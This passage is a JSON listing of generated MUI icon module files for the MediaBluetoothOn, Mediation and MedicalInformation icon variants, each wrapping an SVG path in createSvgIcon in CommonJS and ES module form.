    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m9 3 .01 10.55c-.6-.34-1.28-.55-2-.55C4.79 13 3 14.79 3 17s1.79 4 4.01 4S11 19.21 11 17V7h4V3zm12 9.43L17.57 9h-.6v4.55l-2.75-2.75-.85.85L16.73 15l-3.35 3.35.85.85 2.75-2.75V21h.6L21 17.57 18.42 15zm-2.83-1.13 1.13 1.13-1.13 1.13zm1.13 6.27-1.13 1.13v-2.26z\"\n}), 'MediaBluetoothOnOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MediaBluetoothOnOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m9 3 .01 10.55c-.6-.34-1.28-.55-2-.55C4.79 13 3 14.79 3 17s1.79 4 4.01 4S11 19.21 11 17V7h4V3zm12 9.43L17.57 9h-.6v4.55l-2.75-2.75-.85.85L16.73 15l-3.35 3.35.85.85 2.75-2.75V21h.6L21 17.57 18.42 15zm-2.83-1.13 1.13 1.13-1.13 1.13zm1.13 6.27-1.13 1.13v-2.26z\"\n}), 'MediaBluetoothOnOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MediaBluetoothOnRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m9 5 .01 8.55c-.6-.34-1.28-.55-2-.55C4.79 13 3 14.79 3 17s1.79 4 4.01 4S11 19.21 11 17V7h2c1.1 0 2-.9 2-2s-.9-2-2-2h-2c-1.1 0-2 .9-2 2m11.29 6.72-2.47-2.47c-.32-.31-.85-.09-.85.35v3.94l-2.33-2.33c-.23-.23-.61-.23-.85 0-.23.23-.23.62 0 .85L16.73 15l-2.93 2.93c-.23.23-.23.61 0 .85.23.23.61.23.85 0l2.33-2.33v3.94c0 .45.54.67.85.35l2.46-2.46c.39-.39.39-1.02 0-1.41L18.42 15l1.87-1.86c.39-.39.39-1.03 0-1.42m-2.12-.42 1.13 1.13-1.13 1.13zm1.13 6.27-1.13 1.13v-2.26z\"\n}), 'MediaBluetoothOnRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MediaBluetoothOnRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m9 5 .01 8.55c-.6-.34-1.28-.55-2-.55C4.79 13 3 14.79 3 17s1.79 4 4.01 4S11 19.21 11 17V7h2c1.1 0 2-.9 2-2s-.9-2-2-2h-2c-1.1 0-2 .9-2 2m11.29 6.72-2.47-2.47c-.32-.31-.85-.09-.85.35v3.94l-2.33-2.33c-.23-.23-.61-.23-.85 0-.23.23-.23.62 0 .85L16.73 15l-2.93 2.93c-.23.23-.23.61 0 .85.23.23.61.23.85 0l2.33-2.33v3.94c0 .45.54.67.85.35l2.46-2.46c.39-.39.39-1.02 0-1.41L18.42 15l1.87-1.86c.39-.39.39-1.03 0-1.42m-2.12-.42 1.13 1.13-1.13 1.13zm1.13 6.27-1.13 1.13v-2.26z\"\n}), 'MediaBluetoothOnRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MediaBluetoothOnSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m9 3 .01 10.55c-.6-.34-1.28-.55-2-.55C4.79 13 3 14.79 3 17s1.79 4 4.01 4S11 19.21 11 17V7h4V3zm12 9.43L17.57 9h-.6v4.55l-2.75-2.75-.85.85L16.73 15l-3.35 3.35.85.85 2.75-2.75V21h.6L21 17.57 18.42 15zm-2.83-1.13 1.13 1.13-1.13 1.13zm1.13 6.27-1.13 1.13v-2.26z\"\n}), 'MediaBluetoothOnSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MediaBluetoothOnSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m9 3 .01 10.55c-.6-.34-1.28-.55-2-.55C4.79 13 3 14.79 3 17s1.79 4 4.01 4S11 19.21 11 17V7h4V3zm12 9.43L17.57 9h-.6v4.55l-2.75-2.75-.85.85L16.73 15l-3.35 3.35.85.85 2.75-2.75V21h.6L21 17.57 18.42 15zm-2.83-1.13 1.13 1.13-1.13 1.13zm1.13 6.27-1.13 1.13v-2.26z\"\n}), 'MediaBluetoothOnSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MediaBluetoothOnTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m9 3 .01 10.55c-.6-.34-1.28-.55-2-.55C4.79 13 3 14.79 3 17s1.79 4 4.01 4S11 19.21 11 17V7h4V3zm12 9.43L17.57 9h-.6v4.55l-2.75-2.75-.85.85L16.73 15l-3.35 3.35.85.85 2.75-2.75V21h.6L21 17.57 18.42 15zm-2.83-1.13 1.13 1.13-1.13 1.13zm1.13 6.27-1.13 1.13v-2.26z\"\n}), 'MediaBluetoothOnTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/MediaBluetoothOnTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m9 3 .01 10.55c-.6-.34-1.28-.55-2-.55C4.79 13 3 14.79 3 17s1.79 4 4.01 4S11 19.21 11 17V7h4V3zm12 9.43L17.57 9h-.6v4.55l-2.75-2.75-.85.85L16.73 15l-3.35 3.35.85.85 2.75-2.75V21h.6L21 17.57 18.42 15zm-2.83-1.13 1.13 1.13-1.13 1.13zm1.13 6.27-1.13 1.13v-2.26z\"\n}), 'MediaBluetoothOnTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Mediation.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m22 12-4 4-1.41-1.41L18.17 13h-5.23c-.34 3.1-2.26 5.72-4.94 7.05C7.96 21.69 6.64 23 5 23c-1.66 0-3-1.34-3-3s1.34-3 3-3c.95 0 1.78.45 2.33 1.14 1.9-1.03 3.26-2.91 3.58-5.14h-3.1C7.4 14.16 6.3 15 5 15c-1.66 0-3-1.34-3-3s1.34-3 3-3c1.3 0 2.4.84 2.82 2h3.1c-.32-2.23-1.69-4.1-3.59-5.14C6.78 6.55 5.95 7 5 7 3.34 7 2 5.66 2 4s1.34-3 3-3c1.64 0 2.96 1.31 2.99 2.95 2.68 1.33 4.6 3.95 4.94 7.05h5.23l-1.58-1.59L18 8z\"\n}), 'Mediation');"
  },
  {
    "path": "packages/mui-icons-material/lib/Mediation.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m22 12-4 4-1.41-1.41L18.17 13h-5.23c-.34 3.1-2.26 5.72-4.94 7.05C7.96 21.69 6.64 23 5 23c-1.66 0-3-1.34-3-3s1.34-3 3-3c.95 0 1.78.45 2.33 1.14 1.9-1.03 3.26-2.91 3.58-5.14h-3.1C7.4 14.16 6.3 15 5 15c-1.66 0-3-1.34-3-3s1.34-3 3-3c1.3 0 2.4.84 2.82 2h3.1c-.32-2.23-1.69-4.1-3.59-5.14C6.78 6.55 5.95 7 5 7 3.34 7 2 5.66 2 4s1.34-3 3-3c1.64 0 2.96 1.31 2.99 2.95 2.68 1.33 4.6 3.95 4.94 7.05h5.23l-1.58-1.59L18 8z\"\n}), 'Mediation');"
  },
  {
    "path": "packages/mui-icons-material/lib/MediationOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m18 16 4-4-4-4v3h-5.06C12.6 7.9 10.68 5.28 8 3.95 7.96 2.31 6.64 1 5 1 3.34 1 2 2.34 2 4s1.34 3 3 3c.95 0 1.78-.45 2.33-1.14C9.23 6.9 10.6 8.77 10.92 11h-3.1C7.4 9.84 6.3 9 5 9c-1.66 0-3 1.34-3 3s1.34 3 3 3c1.3 0 2.4-.84 2.82-2h3.1c-.32 2.23-1.69 4.1-3.58 5.14C6.78 17.45 5.95 17 5 17c-1.66 0-3 1.34-3 3s1.34 3 3 3c1.64 0 2.96-1.31 2.99-2.95 2.68-1.33 4.6-3.95 4.94-7.05H18z\"\n}), 'MediationOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MediationOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m18 16 4-4-4-4v3h-5.06C12.6 7.9 10.68 5.28 8 3.95 7.96 2.31 6.64 1 5 1 3.34 1 2 2.34 2 4s1.34 3 3 3c.95 0 1.78-.45 2.33-1.14C9.23 6.9 10.6 8.77 10.92 11h-3.1C7.4 9.84 6.3 9 5 9c-1.66 0-3 1.34-3 3s1.34 3 3 3c1.3 0 2.4-.84 2.82-2h3.1c-.32 2.23-1.69 4.1-3.58 5.14C6.78 17.45 5.95 17 5 17c-1.66 0-3 1.34-3 3s1.34 3 3 3c1.64 0 2.96-1.31 2.99-2.95 2.68-1.33 4.6-3.95 4.94-7.05H18z\"\n}), 'MediationOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MediationRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 13h-5.06c-.34 3.1-2.26 5.72-4.94 7.05-.03 1.81-1.66 3.23-3.55 2.9-1.2-.21-2.19-1.2-2.4-2.4C1.71 18.65 3.16 17 5 17c.95 0 1.78.45 2.33 1.14 1.9-1.03 3.26-2.91 3.58-5.14h-3.1c-.48 1.34-1.86 2.24-3.42 1.94-1.18-.23-2.13-1.2-2.35-2.38C1.7 10.66 3.16 9 5 9c1.3 0 2.4.84 2.82 2h3.1c-.32-2.23-1.69-4.1-3.59-5.14-.64.8-1.67 1.28-2.81 1.1-1.23-.19-2.26-1.19-2.47-2.42C1.72 2.65 3.17 1 5 1c1.64 0 2.96 1.31 2.99 2.95 2.68 1.33 4.6 3.95 4.94 7.05H18V9.21c0-.45.54-.67.85-.35l2.79 2.79c.2.2.2.51 0 .71l-2.79 2.79c-.31.31-.85.09-.85-.36z\"\n}), 'MediationRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MediationRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 13h-5.06c-.34 3.1-2.26 5.72-4.94 7.05-.03 1.81-1.66 3.23-3.55 2.9-1.2-.21-2.19-1.2-2.4-2.4C1.71 18.65 3.16 17 5 17c.95 0 1.78.45 2.33 1.14 1.9-1.03 3.26-2.91 3.58-5.14h-3.1c-.48 1.34-1.86 2.24-3.42 1.94-1.18-.23-2.13-1.2-2.35-2.38C1.7 10.66 3.16 9 5 9c1.3 0 2.4.84 2.82 2h3.1c-.32-2.23-1.69-4.1-3.59-5.14-.64.8-1.67 1.28-2.81 1.1-1.23-.19-2.26-1.19-2.47-2.42C1.72 2.65 3.17 1 5 1c1.64 0 2.96 1.31 2.99 2.95 2.68 1.33 4.6 3.95 4.94 7.05H18V9.21c0-.45.54-.67.85-.35l2.79 2.79c.2.2.2.51 0 .71l-2.79 2.79c-.31.31-.85.09-.85-.36z\"\n}), 'MediationRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MediationSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 13h-5.06c-.34 3.1-2.26 5.72-4.94 7.05C7.96 21.69 6.64 23 5 23c-1.66 0-3-1.34-3-3s1.34-3 3-3c.95 0 1.78.45 2.33 1.14 1.9-1.03 3.26-2.91 3.58-5.14h-3.1C7.4 14.16 6.3 15 5 15c-1.66 0-3-1.34-3-3s1.34-3 3-3c1.3 0 2.4.84 2.82 2h3.1c-.32-2.23-1.69-4.1-3.59-5.14C6.78 6.55 5.95 7 5 7 3.34 7 2 5.66 2 4s1.34-3 3-3c1.64 0 2.96 1.31 2.99 2.95 2.68 1.33 4.6 3.95 4.94 7.05H18V8l4 4-4 4z\"\n}), 'MediationSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MediationSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 13h-5.06c-.34 3.1-2.26 5.72-4.94 7.05C7.96 21.69 6.64 23 5 23c-1.66 0-3-1.34-3-3s1.34-3 3-3c.95 0 1.78.45 2.33 1.14 1.9-1.03 3.26-2.91 3.58-5.14h-3.1C7.4 14.16 6.3 15 5 15c-1.66 0-3-1.34-3-3s1.34-3 3-3c1.3 0 2.4.84 2.82 2h3.1c-.32-2.23-1.69-4.1-3.59-5.14C6.78 6.55 5.95 7 5 7 3.34 7 2 5.66 2 4s1.34-3 3-3c1.64 0 2.96 1.31 2.99 2.95 2.68 1.33 4.6 3.95 4.94 7.05H18V8l4 4-4 4z\"\n}), 'MediationSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MediationTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m18 16 4-4-4-4v3h-5.06C12.6 7.9 10.68 5.28 8 3.95 7.96 2.31 6.64 1 5 1 3.34 1 2 2.34 2 4s1.34 3 3 3c.95 0 1.78-.45 2.33-1.14C9.23 6.9 10.6 8.77 10.92 11h-3.1C7.4 9.84 6.3 9 5 9c-1.66 0-3 1.34-3 3s1.34 3 3 3c1.3 0 2.4-.84 2.82-2h3.1c-.32 2.23-1.69 4.1-3.58 5.14C6.78 17.45 5.95 17 5 17c-1.66 0-3 1.34-3 3s1.34 3 3 3c1.64 0 2.96-1.31 2.99-2.95 2.68-1.33 4.6-3.95 4.94-7.05H18z\"\n}), 'MediationTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/MediationTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m18 16 4-4-4-4v3h-5.06C12.6 7.9 10.68 5.28 8 3.95 7.96 2.31 6.64 1 5 1 3.34 1 2 2.34 2 4s1.34 3 3 3c.95 0 1.78-.45 2.33-1.14C9.23 6.9 10.6 8.77 10.92 11h-3.1C7.4 9.84 6.3 9 5 9c-1.66 0-3 1.34-3 3s1.34 3 3 3c1.3 0 2.4-.84 2.82-2h3.1c-.32 2.23-1.69 4.1-3.58 5.14C6.78 17.45 5.95 17 5 17c-1.66 0-3 1.34-3 3s1.34 3 3 3c1.64 0 2.96-1.31 2.99-2.95 2.68-1.33 4.6-3.95 4.94-7.05H18z\"\n}), 'MediationTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/MedicalInformation.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 7h-5V4c0-1.1-.9-2-2-2h-2c-1.1 0-2 .9-2 2v3H4c-1.1 0-2 .9-2 2v11c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V9c0-1.1-.9-2-2-2m-9-3h2v5h-2zm0 12H9v2H7v-2H5v-2h2v-2h2v2h2zm2-1.5V13h6v1.5zm0 3V16h4v1.5z\"\n}), 'MedicalInformation');"
  },
  {
    "path": "packages/mui-icons-material/lib/MedicalInformation.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 7h-5V4c0-1.1-.9-2-2-2h-2c-1.1 0-2 .9-2 2v3H4c-1.1 0-2 .9-2 2v11c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V9c0-1.1-.9-2-2-2m-9-3h2v5h-2zm0 12H9v2H7v-2H5v-2h2v-2h2v2h2zm2-1.5V13h6v1.5zm0 3V16h4v1.5z\"\n}), 'MedicalInformation');"
  },
  {
    "path": "packages/mui-icons-material/lib/MedicalInformationOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 7h-5V4c0-1.1-.9-2-2-2h-2c-1.1 0-2 .9-2 2v3H4c-1.1 0-2 .9-2 2v11c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V9c0-1.1-.9-2-2-2m-9-3h2v5h-2zm9 16H4V9h5c0 1.1.9 2 2 2h2c1.1 0 2-.9 2-2h5zm-9-4H9v2H7v-2H5v-2h2v-2h2v2h2zm2-1.5V13h6v1.5zm0 3V16h4v1.5z\"\n}), 'MedicalInformationOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MedicalInformationOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 7h-5V4c0-1.1-.9-2-2-2h-2c-1.1 0-2 .9-2 2v3H4c-1.1 0-2 .9-2 2v11c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V9c0-1.1-.9-2-2-2m-9-3h2v5h-2zm9 16H4V9h5c0 1.1.9 2 2 2h2c1.1 0 2-.9 2-2h5zm-9-4H9v2H7v-2H5v-2h2v-2h2v2h2zm2-1.5V13h6v1.5zm0 3V16h4v1.5z\"\n}), 'MedicalInformationOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MedicalInformationRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 7h-5V4c0-1.1-.9-2-2-2h-2c-1.1 0-2 .9-2 2v3H4c-1.1 0-2 .9-2 2v11c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V9c0-1.1-.9-2-2-2m-9-3h2v5h-2zM7 16H6c-.55 0-1-.45-1-1s.45-1 1-1h1v-1c0-.55.45-1 1-1s1 .45 1 1v1h1c.55 0 1 .45 1 1s-.45 1-1 1H9v1c0 .55-.45 1-1 1s-1-.45-1-1zm6.75-1.5c-.41 0-.75-.34-.75-.75s.34-.75.75-.75h4.5c.41 0 .75.34.75.75s-.34.75-.75.75zm0 3c-.41 0-.75-.34-.75-.75s.34-.75.75-.75h2.5c.41 0 .75.34.75.75s-.34.75-.75.75z\"\n}), 'MedicalInformationRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MedicalInformationRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 7h-5V4c0-1.1-.9-2-2-2h-2c-1.1 0-2 .9-2 2v3H4c-1.1 0-2 .9-2 2v11c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V9c0-1.1-.9-2-2-2m-9-3h2v5h-2zM7 16H6c-.55 0-1-.45-1-1s.45-1 1-1h1v-1c0-.55.45-1 1-1s1 .45 1 1v1h1c.55 0 1 .45 1 1s-.45 1-1 1H9v1c0 .55-.45 1-1 1s-1-.45-1-1zm6.75-1.5c-.41 0-.75-.34-.75-.75s.34-.75.75-.75h4.5c.41 0 .75.34.75.75s-.34.75-.75.75zm0 3c-.41 0-.75-.34-.75-.75s.34-.75.75-.75h2.5c.41 0 .75.34.75.75s-.34.75-.75.75z\"\n}), 'MedicalInformationRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MedicalInformationSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 7h-7V2H9v5H2v15h20zM11 4h2v5h-2zm0 12H9v2H7v-2H5v-2h2v-2h2v2h2zm2-1.5V13h6v1.5zm0 3V16h4v1.5z\"\n}), 'MedicalInformationSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MedicalInformationSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 7h-7V2H9v5H2v15h20zM11 4h2v5h-2zm0 12H9v2H7v-2H5v-2h2v-2h2v2h2zm2-1.5V13h6v1.5zm0 3V16h4v1.5z\"\n}), 'MedicalInformationSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MedicalInformationTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 9c0 1.1-.9 2-2 2h-2c-1.1 0-2-.9-2-2H4v11h16V9zm-4 7H9v2H7v-2H5v-2h2v-2h2v2h2zm6 1.5h-4V16h4zm2-3h-6V13h6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 7h-5V4c0-1.1-.9-2-2-2h-2c-1.1 0-2 .9-2 2v3H4c-1.1 0-2 .9-2 2v11c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V9c0-1.1-.9-2-2-2m-9-3h2v5h-2zm9 16H4V9h5c0 1.1.9 2 2 2h2c1.1 0 2-.9 2-2h5zm-9-4H9v2H7v-2H5v-2h2v-2h2v2h2zm2-1.5V13h6v1.5zm0 3V16h4v1.5z\"\n}, \"1\")], 'MedicalInformationTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/MedicalInformationTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 9c0 1.1-.9 2-2 2h-2c-1.1 0-2-.9-2-2H4v11h16V9zm-4 7H9v2H7v-2H5v-2h2v-2h2v2h2zm6 1.5h-4V16h4zm2-3h-6V13h6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 7h-5V4c0-1.1-.9-2-2-2h-2c-1.1 0-2 .9-2 2v3H4c-1.1 0-2 .9-2 2v11c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V9c0-1.1-.9-2-2-2m-9-3h2v5h-2zm9 16H4V9h5c0 1.1.9 2 2 2h2c1.1 0 2-.9 2-2h5zm-9-4H9v2H7v-2H5v-2h2v-2h2v2h2zm2-1.5V13h6v1.5zm0 3V16h4v1.5z\"\n}, \"1\")], 'MedicalInformationTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/MedicalServices.js",
